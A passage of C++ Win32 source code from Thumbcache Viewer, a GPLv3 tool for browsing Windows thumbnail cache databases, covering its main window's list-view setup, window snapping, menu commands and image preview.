			SetWindowLong( g_hWnd_list, GWL_WNDPROC, ( LONG )ListViewSubProc );

			// Initialize our listview columns
			LVCOLUMNA lvc = { NULL }; 
			lvc.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT; 
			lvc.fmt = LVCFMT_CENTER;
			lvc.pszText = "#";
			lvc.cx = 34;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 0, ( LPARAM )&lvc );

			lvc.fmt = LVCFMT_LEFT;
			lvc.pszText = "Filename";
			lvc.cx = 135;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 1, ( LPARAM )&lvc );

			lvc.fmt = LVCFMT_RIGHT;
			lvc.pszText = "Cache Entry Offset";
			lvc.cx = 110;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 2, ( LPARAM )&lvc );

			lvc.pszText = "Cache Entry Size";
			lvc.cx = 95;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 3, ( LPARAM )&lvc );

			lvc.pszText = "Data Offset";
			lvc.cx = 88;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 4, ( LPARAM )&lvc );

			lvc.pszText = "Data Size";
			lvc.cx = 65;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 5, ( LPARAM )&lvc );

			lvc.fmt = LVCFMT_LEFT;
			lvc.pszText = "Data Checksum";
			lvc.cx = 125;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 6, ( LPARAM )&lvc );

			lvc.pszText = "Header Checksum";
			lvc.cx = 125;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 7, ( LPARAM )&lvc );

			lvc.pszText = "Cache Entry Hash";
			lvc.cx = 125;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 8, ( LPARAM )&lvc );

			lvc.pszText = "System";
			lvc.cx = 85;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 9, ( LPARAM )&lvc );

			lvc.pszText = "Location";
			lvc.cx = 200;
			SendMessageA( g_hWnd_list, LVM_INSERTCOLUMNA, 10, ( LPARAM )&lvc );

			// Save our initial window position.
			GetWindowRect( hWnd, &last_pos );

			return 0;
		}
		break;

		case WM_KEYDOWN:
		{
			// We'll just give the listview control focus since it's handling our keypress events.
			SetFocus( g_hWnd_list );

			return 0;
		}
		break;

		case WM_MOVING:
		{
			POINT cur_pos;
			RECT wa;
			RECT *rc = ( RECT * )lParam;
			GetCursorPos( &cur_pos );
			OffsetRect( rc, cur_pos.x - ( rc->left + cx ), cur_pos.y - ( rc->top + cy ) );

			// Allow our main window to attach to the desktop edge.
			SystemParametersInfo( SPI_GETWORKAREA, 0, &wa, 0 );			
			if( is_close( rc->left, wa.left ) )				// Attach to left side of the desktop.
			{
				OffsetRect( rc, wa.left - rc->left, 0 );
			}
			else if ( is_close( wa.right, rc->right ) )		// Attach to right side of the desktop.
			{
				OffsetRect( rc, wa.right - rc->right, 0 );
			}

			if( is_close( rc->top, wa.top ) )				// Attach to top of the desktop.
			{
				OffsetRect( rc, 0, wa.top - rc->top );
			}
			else if ( is_close( wa.bottom, rc->bottom ) )	// Attach to bottom of the desktop.
			{
				OffsetRect( rc, 0, wa.bottom - rc->bottom );
			}

			// Allow our main window to attach to the image window.
			GetWindowRect( g_hWnd_image, &wa );
			if ( is_attached == false && IsWindowVisible( g_hWnd_image ) )
			{
				if( is_close( rc->right, wa.left ) )			// Attach to left side of image window.
				{
					// Allow it to snap only to the dimensions of the image window.
					if ( ( rc->bottom > wa.top ) && ( rc->top < wa.bottom ) )
					{
						OffsetRect( rc, wa.left - rc->right, 0 );
						is_attached = true;
					}
				}
				else if ( is_close( wa.right, rc->left ) )		// Attach to right side of image window.
				{
					// Allow it to snap only to the dimensions of the image window.
					if ( ( rc->bottom > wa.top ) && ( rc->top < wa.bottom ) )
					{
						OffsetRect( rc, wa.right - rc->left, 0 );
						is_attached = true;
					}
				}

				if( is_close( rc->bottom, wa.top ) )			// Attach to top of image window.
				{
					// Allow it to snap only to the dimensions of the image window.
					if ( ( rc->left < wa.right ) && ( rc->right > wa.left ) )
					{
						OffsetRect( rc, 0, wa.top - rc->bottom );
						is_attached = true;
					}
				}
				else if ( is_close( wa.bottom, rc->top ) )		// Attach to bottom of image window.
				{
					// Allow it to snap only to the dimensions of the image window.
					if ( ( rc->left < wa.right ) && ( rc->right > wa.left ) )
					{
						OffsetRect( rc, 0, wa.bottom - rc->top );
						is_attached = true;
					}
				}
			}

			// See if our image window is visible
			if ( IsWindowVisible( g_hWnd_image ) )
			{
				// If it's attached, then move it in proportion to our main window.
				if ( is_attached == true )
				{
					// If our main window attached itself to the image window, then we'll skip moving the image window.
					if ( skip_main == true )
					{
						// Moves the image window with the main window.
						MoveWindow( g_hWnd_image, wa.left + ( rc->left - last_pos.left ), wa.top + ( rc->top - last_pos.top ), wa.right - wa.left, wa.bottom - wa.top, FALSE );
					}
					else
					{
						// This causes the image window to snap to the main window. Kinda like a magnet. This is how they work by the way.
						MoveWindow( hWnd, rc->left, rc->top, rc->right - rc->left, rc->bottom - rc->top, FALSE );
					}
					
					skip_main = true;
				}
			}

			// Save our last position.
			last_pos.bottom = rc->bottom;
			last_pos.left = rc->left;
			last_pos.right = rc->right;
			last_pos.top = rc->top;

			return TRUE;
		}
		break;

		case WM_ENTERSIZEMOVE:
		{
			//Get the current position of our window before it gets moved.
			POINT cur_pos;
			RECT rc;
			GetWindowRect( hWnd, &rc );
			GetCursorPos( &cur_pos );
			cx = cur_pos.x - rc.left;
			cy = cur_pos.y - rc.top;

			return 0;
		}
		break;

		case WM_SIZE:
		{
			// If our window changes size, assume we aren't attached anymore.
			is_attached = false;
			skip_main = false;

			RECT rc;
			GetClientRect( hWnd, &rc );

			// Allow our listview to resize in proportion to the main window.
			HDWP hdwp = BeginDeferWindowPos( 1 );
			DeferWindowPos( hdwp, g_hWnd_list, HWND_TOP, 0, 0, rc.right, rc.bottom, 0 );
			EndDeferWindowPos( hdwp );

			return 0;
		}
		break;

		case WM_MEASUREITEM:
		{
			// Set the row height of the list view.
			if ( ( ( LPMEASUREITEMSTRUCT )lParam )->CtlType = ODT_LISTVIEW )
			{
				( ( LPMEASUREITEMSTRUCT )lParam )->itemHeight = row_height;
			}
			return TRUE;
		}
		break;

		case WM_GETMINMAXINFO:
		{
			// Set the minimum dimensions that the window can be sized to.
			( ( MINMAXINFO * )lParam )->ptMinTrackSize.x = MIN_WIDTH;
			( ( MINMAXINFO * )lParam )->ptMinTrackSize.y = MIN_HEIGHT;
			
			return 0;
		}
		break;

		case WM_CHANGE_CURSOR:
		{
			// SetCursor must be called from the window thread.
			if ( wParam == TRUE )
			{
				wait_cursor = LoadCursor( NULL, IDC_APPSTARTING );	// Arrow + hourglass.
				SetCursor( wait_cursor );
			}
			else
			{
				SetCursor( LoadCursor( NULL, IDC_ARROW ) );	// Default arrow.
				wait_cursor = NULL;
			}
		}
		break;

		case WM_SETCURSOR:
		{
			if ( wait_cursor != NULL )
			{
				SetCursor( wait_cursor );	// Keep setting our cursor if it reverts back to the default.
				return TRUE;
			}

			DefWindowProc( hWnd, msg, wParam, lParam );
			return FALSE;
		}
		break;

		case WM_COMMAND:
		{
			// Check to see if our command is a menu item.
			if ( HIWORD( wParam ) == 0 )
			{
				// Get the id of the menu item.
				switch( LOWORD( wParam ) )
				{
					case MENU_OPEN:
					{
						pathinfo *pi = ( pathinfo * )malloc( sizeof( pathinfo ) );
						pi->filepath = ( wchar_t * )malloc( sizeof( wchar_t ) * MAX_PATH * MAX_PATH );
						wmemset( pi->filepath, 0, MAX_PATH * MAX_PATH );
						OPENFILENAME ofn = { NULL };
						ofn.lStructSize = sizeof( OPENFILENAME );
						ofn.lpstrFilter = L"Thumbcache Database Files (*.db)\0*.db\0Iconcache Database Files (*.db)\0*.db\0All Files (*.*)\0*.*\0";
						ofn.lpstrFile = pi->filepath;
						ofn.nMaxFile = MAX_PATH * MAX_PATH;
						ofn.lpstrTitle = L"Open a Thumbcache Database file";
						ofn.Flags = OFN_ALLOWMULTISELECT | OFN_EXPLORER | OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_READONLY;
						ofn.hwndOwner = hWnd;

						// Display the Open File dialog box
						if ( GetOpenFileName( &ofn ) )
						{
							pi->offset = ofn.nFileOffset;
							pi->output_path = NULL;
							pi->type = 0;
							cmd_line = 0;

							// pi will be freed in the thread.
							CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &read_thumbcache, ( void * )pi, 0, NULL ) );
						}
						else
						{
							free( pi->filepath );
							free( pi );
						}
					}
					break;

					case MENU_SAVE_ALL:
					case MENU_SAVE_SEL:
					{
						// Open a browse for folder dialog box.
						BROWSEINFO bi = { 0 };
						bi.hwndOwner = hWnd;
						if ( LOWORD( wParam ) == MENU_SAVE_ALL )
						{
							bi.lpszTitle = L"Select a location to save all the file(s).";
						}
						else
						{
							bi.lpszTitle = L"Select a location to save the selected file(s).";
						}
						bi.ulFlags = BIF_EDITBOX | BIF_VALIDATE;

						LPITEMIDLIST lpiidl = SHBrowseForFolder( &bi );
						if ( lpiidl )
						{
							wchar_t *save_directory = ( wchar_t * )malloc( sizeof( wchar_t ) * MAX_PATH );
							wmemset( save_directory, 0, MAX_PATH );

							// Get the directory path from the id list.
							SHGetPathFromIDList( lpiidl, save_directory );
							CoTaskMemFree( lpiidl );

							save_param *save_type = ( save_param * )malloc( sizeof( save_param ) );	// Freed in the save_items thread.
							save_type->type = 0;	// Save files to filepath. The directory should exist so no need to build it.
							save_type->save_all = ( LOWORD( wParam ) == MENU_SAVE_ALL ? true : false );
							save_type->filepath = save_directory;

							CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &save_items, ( void * )save_type, 0, NULL ) );
						}
					}
					break;

					case MENU_EXPORT:
					{
						wchar_t *file_path = ( wchar_t * )malloc( sizeof ( wchar_t ) * MAX_PATH );
						wmemset( file_path, 0, MAX_PATH );

						OPENFILENAME ofn = { 0 };
						ofn.lStructSize = sizeof( OPENFILENAME );
						ofn.hwndOwner = hWnd;
						ofn.lpstrFilter = L"CSV (Comma delimited) (*.csv)\0*.csv\0";
						ofn.lpstrDefExt = L"csv";
						ofn.lpstrTitle = L"Export list to a CSV (comma-separated values) file";
						ofn.lpstrFile = file_path;
						ofn.nMaxFile = MAX_PATH;
						ofn.Flags = OFN_PATHMUSTEXIST | OFN_OVERWRITEPROMPT | OFN_READONLY;

						if ( GetSaveFileName( &ofn ) )
						{
							// file_path is freed in the save_csv thread.
							CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &save_csv, ( void * )file_path, 0, NULL ) );
						}
						else
						{
							free( file_path );
						}
					}
					break;

					case MENU_HIDE_BLANK:
					{
						hide_blank_entries = !hide_blank_entries;

						// Put a check next to the menu item if we choose to hide blank entries. Remove it if we don't.
						CheckMenuItem( g_hMenu, MENU_HIDE_BLANK, ( hide_blank_entries ? MF_CHECKED : MF_UNCHECKED ) );

						// Hide if we have items in the list and show if we have blank entries.
						if ( ( g_be == NULL && SendMessage( g_hWnd_list, LVM_GETITEMCOUNT, 0, 0 ) > 0 ) || g_be != NULL )
						{
							CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &show_hide_items, ( void * )NULL, 0, NULL ) );
						}
					}
					break;

					case MENU_CHECKSUMS:
					{
						// Go through each item in the list and verify the header and data checksums.
						CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &verify_checksums, ( void * )NULL, 0, NULL ) );
					}
					break;

					case MENU_SCAN:
					{
						SendMessage( g_hWnd_scan, WM_PROPAGATE, 0, 0 );
					}
					break;

					case MENU_REMOVE_SEL:
					{
						// Hide the image window since the selected item will be deleted.
						if ( IsWindowVisible( g_hWnd_image ) )
						{
							ShowWindow( g_hWnd_image, SW_HIDE );
						}

						is_attached = false;
						skip_main = false;

						CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &remove_items, ( void * )NULL, 0, NULL ) );
					}
					break;

					case MENU_COPY_SEL:
					{
						CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &copy_items, ( void * )0, 0, NULL ) );
					}
					break;

					case MENU_SELECT_ALL:
					{
						// Set the state of all items to selected.
						LVITEM lvi = { NULL };
						lvi.mask = LVIF_STATE;
						lvi.state = LVIS_SELECTED;
						lvi.stateMask = LVIS_SELECTED;
						SendMessage( g_hWnd_list, LVM_SETITEMSTATE, -1, ( LPARAM )&lvi );

						UpdateMenus( UM_ENABLE );
					}
					break;

					case MENU_INFO:
					{
						LVITEM lvi = { NULL };
						lvi.mask = LVIF_PARAM;
						lvi.iItem = SendMessage( g_hWnd_list, LVM_GETNEXTITEM, -1, LVNI_FOCUSED | LVNI_SELECTED );

						if ( lvi.iItem != -1 )
						{
							SendMessage( g_hWnd_list, LVM_GETITEM, 0, ( LPARAM )&lvi );

							SendMessage( g_hWnd_info, WM_PROPAGATE, 0, lvi.lParam );
						}
					}
					break;

					case MENU_ABOUT:
					{
						MessageBoxA( hWnd, "Thumbcache Viewer is made free under the GPLv3 license.\r\n\r\nVersion 1.0.3.1\r\n\r\nCopyright \xA9 2011-2015 Eric Kutcher", PROGRAM_CAPTION_A, MB_APPLMODAL | MB_ICONINFORMATION );
					}
					break;

					case MENU_EXIT:
					{
						SendMessage( hWnd, WM_CLOSE, 0, 0 );
					}
					break;
				}
			}
			return 0;
		}
		break;

		case WM_NOTIFY:
		{
			// Get our listview codes.
			switch ( ( ( LPNMHDR )lParam )->code )
			{
				case LVN_KEYDOWN:
				{
					NMLVKEYDOWN *nmlvkd = ( NMLVKEYDOWN * )lParam;

					// Make sure the control key is down and that we're not already in a worker thread. Prevents threads from queuing in case the user falls asleep on their keyboard.
					if ( GetKeyState( VK_CONTROL ) & 0x8000 && in_thread == false )
					{
						// Determine which key was pressed.
						switch ( nmlvkd->wVKey )
						{
							case 'A':	// Select all items if Ctrl + A is down and there are items in the list.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_SELECT_ALL, 0 );
								}
							}
							break;

							case 'O':	// Open the file dialog box if Ctrl + O is down.
							{
								SendMessage( hWnd, WM_COMMAND, MENU_OPEN, 0 );
							}
							break;

							case 'H':	// Hide blank entries if Ctrl + H is down.
							{
								SendMessage( hWnd, WM_COMMAND, MENU_HIDE_BLANK, 0 );
							}
							break;

							case 'V':	// Verify checksums.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_CHECKSUMS, 0 );
								}
							}
							break;

							case 'M':	// Map entry hash values to local files.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_SCAN, 0 );
								}
							}
							break;

							case 'R':	// Remove selected items if Ctrl + R is down and there are selected items in the list.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETSELECTEDCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_REMOVE_SEL, 0 );
								}
							}
							break;

							case 'C':	// Copy selected items if Ctrl + C is down and there are selected items in the list.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETSELECTEDCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_COPY_SEL, 0 );
								}
							}
							break;

							case 'S':	// Save all/selected items if Ctrl + S or Ctrl + Shift + S is down and there are items in the list.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) > 0 && !( GetKeyState( VK_SHIFT ) & 0x8000 ) )	// Shift not down.
								{
									SendMessage( hWnd, WM_COMMAND, MENU_SAVE_ALL, 0 );
								}
								else if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETSELECTEDCOUNT, 0, 0 ) > 0 && ( GetKeyState( VK_SHIFT ) & 0x8000 ) ) // Shift down.
								{
									SendMessage( hWnd, WM_COMMAND, MENU_SAVE_SEL, 0 );
								}
							}
							break;

							case 'I':	// View extended information if Ctrl + I is down and there are selected items in the list.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETSELECTEDCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_INFO, 0 );
								}
							}
							break;

							case 'E':	// Export list to a CSV (comma-separated values) file.
							{
								if ( SendMessage( nmlvkd->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) > 0 )
								{
									SendMessage( hWnd, WM_COMMAND, MENU_EXPORT, 0 );
								}
							}
							break;
						}
					}
				}
				break;

				case LVN_COLUMNCLICK:
				{
					NMLISTVIEW *nmlv = ( NMLISTVIEW * )lParam;

					// Change the format of the items in the column if Ctrl is held while clicking the column.
					if ( GetKeyState( VK_CONTROL ) & 0x8000 )
					{
						switch ( nmlv->iSubItem )
						{
							case 2:	// Change the cache entry offset column info.
							{
								is_kbytes_c_offset = !is_kbytes_c_offset;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;

							case 3:	// Change the cache entry size column info.
							{
								is_kbytes_c_size = !is_kbytes_c_size;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;

							case 4:	// Change the data offset column info.
							{
								is_kbytes_d_offset = !is_kbytes_d_offset;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;

							case 5:	// Change the data size column info.
							{
								is_kbytes_d_size = !is_kbytes_d_size;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;

							case 6:	// Change the data checksum column info.
							{
								is_dc_lower = !is_dc_lower;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;
							
							case 7:	// Change the header checksum column info.
							{
								is_hc_lower = !is_hc_lower;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;

							case 8:	// Change the entry hash column info.
							{
								is_eh_lower = !is_eh_lower;
								InvalidateRect( nmlv->hdr.hwndFrom, NULL, TRUE );
							}
							break;
						}
					}
					else	// Normal column click. Sort the items in the column.
					{
						LVCOLUMN lvc = { NULL };
						lvc.mask = LVCF_FMT;
						SendMessage( nmlv->hdr.hwndFrom, LVM_GETCOLUMN, nmlv->iSubItem, ( LPARAM )&lvc );
						
						if ( HDF_SORTUP & lvc.fmt )	// Column is sorted upward.
						{
							// Sort down
							lvc.fmt = lvc.fmt & ( ~HDF_SORTUP ) | HDF_SORTDOWN;
							SendMessage( nmlv->hdr.hwndFrom, LVM_SETCOLUMN, ( WPARAM )nmlv->iSubItem, ( LPARAM )&lvc );

							SendMessage( nmlv->hdr.hwndFrom, LVM_SORTITEMS, nmlv->iSubItem, ( LPARAM )( PFNLVCOMPARE )CompareFunc );
						}
						else if ( HDF_SORTDOWN & lvc.fmt )	// Column is sorted downward.
						{
							// Sort up
							lvc.fmt = lvc.fmt & ( ~HDF_SORTDOWN ) | HDF_SORTUP;
							SendMessage( nmlv->hdr.hwndFrom, LVM_SETCOLUMN, nmlv->iSubItem, ( LPARAM )&lvc );

							SendMessage( nmlv->hdr.hwndFrom, LVM_SORTITEMS, nmlv->iSubItem + NUM_COLUMNS, ( LPARAM )( PFNLVCOMPARE )CompareFunc );
						}
						else	// Column has no sorting set.
						{
							// Remove the sort format for all columns.
							for ( int i = 0; i < NUM_COLUMNS; i++ )
							{
								// Get the current format
								SendMessage( nmlv->hdr.hwndFrom, LVM_GETCOLUMN, i, ( LPARAM )&lvc );
								// Remove sort up and sort down
								lvc.fmt = lvc.fmt & ( ~HDF_SORTUP ) & ( ~HDF_SORTDOWN );
								SendMessage( nmlv->hdr.hwndFrom, LVM_SETCOLUMN, i, ( LPARAM )&lvc );
							}

							// Read current the format from the clicked column
							SendMessage( nmlv->hdr.hwndFrom, LVM_GETCOLUMN, nmlv->iSubItem, ( LPARAM )&lvc );
							// Sort down to start.
							lvc.fmt = lvc.fmt | HDF_SORTDOWN;
							SendMessage( nmlv->hdr.hwndFrom, LVM_SETCOLUMN, nmlv->iSubItem, ( LPARAM )&lvc );

							SendMessage( nmlv->hdr.hwndFrom, LVM_SORTITEMS, nmlv->iSubItem, ( LPARAM )( PFNLVCOMPARE )CompareFunc );
						}
					}
				}
				break;

				case NM_RCLICK:
				{
					// Show our edit context menu as a popup.
					POINT p;
					GetCursorPos( &p ) ;
					TrackPopupMenu( g_hMenuSub_context, 0, p.x, p.y, 0, hWnd, NULL );
				}
				break;

				case NM_DBLCLK:
				{
					NMITEMACTIVATE *nmitem = ( NMITEMACTIVATE *)lParam;

					if ( nmitem->iItem != -1 )
					{
						SendMessage( hWnd, WM_COMMAND, MENU_INFO, 0 );
					}
				}
				break;

				case LVN_DELETEITEM:
				{
					NMLISTVIEW *nmlv = ( NMLISTVIEW * )lParam;

					// Item count will be 1 since the item hasn't yet been deleted.
					if ( SendMessage( nmlv->hdr.hwndFrom, LVM_GETITEMCOUNT, 0, 0 ) == 1 )
					{
						// Disable the menus that require at least one item in the list.
						UpdateMenus( UM_DISABLE_OVERRIDE );
					}
				}
				break;

				case LVN_ITEMCHANGED:
				{
					NMLISTVIEW *nmlv = ( NMLISTVIEW * )lParam;

					if ( in_thread == false )
					{
						UpdateMenus( UM_ENABLE );
					}

					// Only load images that are selected and in focus.
					if ( nmlv->uNewState != ( LVIS_FOCUSED | LVIS_SELECTED ) )
					{
						break;
					}
					
					// Retrieve the lParam value from the selected listview item.
					LVITEM lvi = { NULL };
					lvi.mask = LVIF_PARAM;
					lvi.iItem = nmlv->iItem;
					SendMessage( nmlv->hdr.hwndFrom, LVM_GETITEM, 0, ( LPARAM )&lvi );

					fileinfo *fi = ( fileinfo * )lvi.lParam;
					if ( fi == NULL || ( fi != NULL && fi->si == NULL ) )
					{
						break;
					}

					// Create a buffer to read in our new bitmap.
					char *current_image = ( char * )malloc( sizeof( char ) * fi->size );

					// Attempt to open a file for reading.
					HANDLE hFile = CreateFile( fi->si->dbpath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
					if ( hFile != INVALID_HANDLE_VALUE )
					{
						DWORD read = 0;
						// Set our file pointer to the beginning of the database file.
						SetFilePointer( hFile, fi->data_offset, 0, FILE_BEGIN );
						// Read the entire image into memory.
						ReadFile( hFile, current_image, fi->size, &read, NULL );
						CloseHandle( hFile );

						// If gdi_image exists, then delete it.
						if ( gdi_image != NULL )
						{
							delete gdi_image;
							gdi_image = NULL;
						}

						// Create a stream to store our buffer and then store the stream into a GDI+ image object.
						ULONG written = 0;
						IStream *is = NULL;
						CreateStreamOnHGlobal( NULL, TRUE, &is );
						is->Write( current_image, read, &written );	// Only write what we've read.
						gdi_image = new Gdiplus::Image( is );
						is->Release();

						if ( !IsWindowVisible( g_hWnd_image ) )
						{
							// Move our image window next to the main window on its right side if it's the first time we're showing the image window.
							if ( first_show == false )
							{
								SetWindowPos( g_hWnd_image, HWND_TOPMOST, last_pos.right, last_pos.top, MIN_HEIGHT, MIN_HEIGHT, SWP_NOACTIVATE );
								first_show = true;
							}

							// This is done to keep both windows on top of other windows.
							// Set the image window position on top of all windows except topmost windows, but don't set focus to it.
							SetWindowPos( g_hWnd_image, HWND_TOP, 0, 0, 0, 0, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE );
							// Set our main window on top of the image window.
							SetWindowPos( hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE );
							// The image window is on top of everything (except the main window), set it back to non-topmost.
							SetWindowPos( g_hWnd_image, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW );
						}

						// Set our image window's icon to match the file extension.
						if ( fi->flag & FIF_TYPE_BMP )
						{
							SendMessage( g_hWnd_image, WM_SETICON, ICON_SMALL, ( LPARAM )hIcon_bmp );
						}
						else if ( fi->flag & FIF_TYPE_JPG )
						{
							SendMessage( g_hWnd_image, WM_SETICON, ICON_SMALL, ( LPARAM )hIcon_jpg );
						}
						else if ( fi->flag & FIF_TYPE_PNG )
						{
							SendMessage( g_hWnd_image, WM_SETICON, ICON_SMALL, ( LPARAM )hIcon_png );
						}
						else
						{
							SendMessage( g_hWnd_image, WM_SETICON, ICON_SMALL, NULL );
						}

						// Set the image window's new title.
						wchar_t new_title[ MAX_PATH + 30 ] = { 0 };
						swprintf_s( new_title, MAX_PATH + 30, L"%.259s - %dx%d", ( fi->filename != NULL ? fi->filename : L"" ), gdi_image->GetWidth(), gdi_image->GetHeight() );
						SetWindowText( g_hWnd_image, new_title );

						// See if our image window is minimized and set the rectangle to its old size if it is.
						RECT rc;
						if ( IsIconic( g_hWnd_image ) == TRUE )
						{
							rc = last_dim;
						}
						else // Otherwise, get the current size.
						{
							GetClientRect( g_hWnd_image, &rc );
						}

						old_pos.x = old_pos.y = 0;
						drag_rect.x = drag_rect.y = 0;

						// Center the image.
						drag_rect.x = ( ( long )gdi_image->GetWidth() - rc.right ) / 2;
						drag_rect.y = ( ( long )gdi_image->GetHeight() - rc.bottom ) / 2;

						scale = 1.0f;	// Reset the image scale.

						// Force our window to repaint itself.
						InvalidateRect( g_hWnd_image, NULL, TRUE );
					}

					// Free our image buffer.
					free( current_image );
				}
				break;

				case LVN_BEGINLABELEDIT:
				{
					NMLVDISPINFO *pdi = ( NMLVDISPINFO * )lParam;
					
					// If no item is being edited, then cancel the edit.
					if ( pdi->item.iItem == -1 )
					{
						return TRUE;
					}

					// Get the current list item text from its lParam.
					LVITEM lvi = { NULL };
					lvi.iItem = pdi->item.iItem;
					lvi.iSubItem = 1;
					lvi.mask = LVIF_PARAM;
					SendMessage( pdi->hdr.hwndFrom, LVM_GETITEM, 0, ( LPARAM )&lvi );

					// Save our current fileinfo.
					current_fileinfo = ( fileinfo * )lvi.lParam;
					if ( current_fileinfo == NULL )
					{
						return TRUE;
					}
					
					// Get the bounding box of the Filename column we're editing.
					current_edit_pos.top = 1;
					current_edit_pos.left = LVIR_BOUNDS;
					SendMessage( pdi->hdr.hwndFrom, LVM_GETSUBITEMRECT, pdi->item.iItem, ( LPARAM )&current_edit_pos );
					
					// Get the edit control that the listview creates.
					g_hWnd_edit = ( HWND )SendMessage( pdi->hdr.hwndFrom, LVM_GETEDITCONTROL, 0, 0 );

					// Subclass our edit window to modify its position.
					EditProc = ( WNDPROC )GetWindowLongPtr( g_hWnd_edit, GWL_WNDPROC );
					SetWindowLongPtr( g_hWnd_edit, GWL_WNDPROC, ( LONG )EditSubProc );

					// Set our edit control's text to the list item's text.
					SetWindowText( g_hWnd_edit, current_fileinfo->filename );

					// Get the length of the filename without the extension.
					int ext_len = wcslen( current_fileinfo->filename );
					while ( ext_len != 0 && current_fileinfo->filename[ --ext_len ] != L'.' );

					// Select all the text except the file extension (if ext_len = 0, then everything is selected)
					SendMessage( g_hWnd_edit, EM_SETSEL, 0, ext_len );

					// Allow the edit to proceed.
					return FALSE;
				}
				break;

				case LVN_ENDLABELEDIT:
				{
					NMLVDISPINFO *pdi = ( NMLVDISPINFO * )lParam;

					// Prevent the edit if there's no text.
					if ( pdi->item.pszText == NULL )
					{
						return FALSE;
					}
					// Prevent the edit if the text length is 0.
					unsigned int length = wcslen( pdi->item.pszText );
					if ( length == 0 )
					{
						return FALSE;
					}

					// Free the old filename.
					free( current_fileinfo->filename );
					// Create a new filename based on the editbox's text.
					wchar_t *filename = ( wchar_t * )malloc( sizeof( wchar_t ) * ( length + 1 ) );
					wmemset( filename, 0, length + 1 );
					wcscpy_s( filename, length + 1, pdi->item.pszText );

					// Modify our listview item's fileinfo lParam value.
					current_fileinfo->filename = filename;

					// Set the image window's new title.
					wchar_t new_title[ MAX_PATH + 30 ] = { 0 };
					swprintf_s( new_title, MAX_PATH + 30, L"%.259s - %dx%d", filename, gdi_image->GetWidth(), gdi_image->GetHeight() );
					SetWindowText( g_hWnd_image, new_title );

					return TRUE;
				}
				break;

			}
			return FALSE;
		}
		break;

		case WM_DRAWITEM:
		{
			DRAWITEMSTRUCT *dis = ( DRAWITEMSTRUCT * )lParam;
      
			// The item we want to draw is our listview.
			if ( dis->CtlType == ODT_LISTVIEW && dis->itemData != NULL )
			{
				fileinfo *fi = ( fileinfo * )dis->itemData;
				if ( fi->si == NULL )
				{
					return TRUE;
				}

				// Alternate item color's background.
				if ( dis->itemID % 2 )	// Even rows will have a light grey background.
				{
					HBRUSH color = CreateSolidBrush( ( COLORREF )RGB( 0xF7, 0xF7, 0xF7 ) );
					FillRect( dis->hDC, &dis->rcItem, color );
					DeleteObject( color );
				}

				// Set the selected item's color.
				bool selected = false;
				if ( dis->itemState & ( ODS_FOCUS || ODS_SELECTED ) )
				{
					if ( skip_draw == true )
					{
						return TRUE;	// Don't draw selected items because their lParam values are being deleted.
					}

					HBRUSH color = CreateSolidBrush( ( COLORREF )GetSysColor( COLOR_HIGHLIGHT ) );
					FillRect( dis->hDC, &dis->rcItem, color );
					DeleteObject( color );
					selected = true;
				}

				wchar_t tbuf[ MAX_PATH ];
				wchar_t *buf = tbuf;

				// This is the full size of the row.
				RECT last_rc;

				// This will keep track of the current colunn's left position.
				int last_left = 0;

				// Adjust the alignment position of the text.
				int RIGHT_COLUMNS = 0;

				LVCOLUMN lvc = { 0 };
				lvc.mask = LVCF_WIDTH;

				// Loop through all the columns
				for ( int i = 0; i < NUM_COLUMNS; ++i )
				{
					RIGHT_COLUMNS = 0;
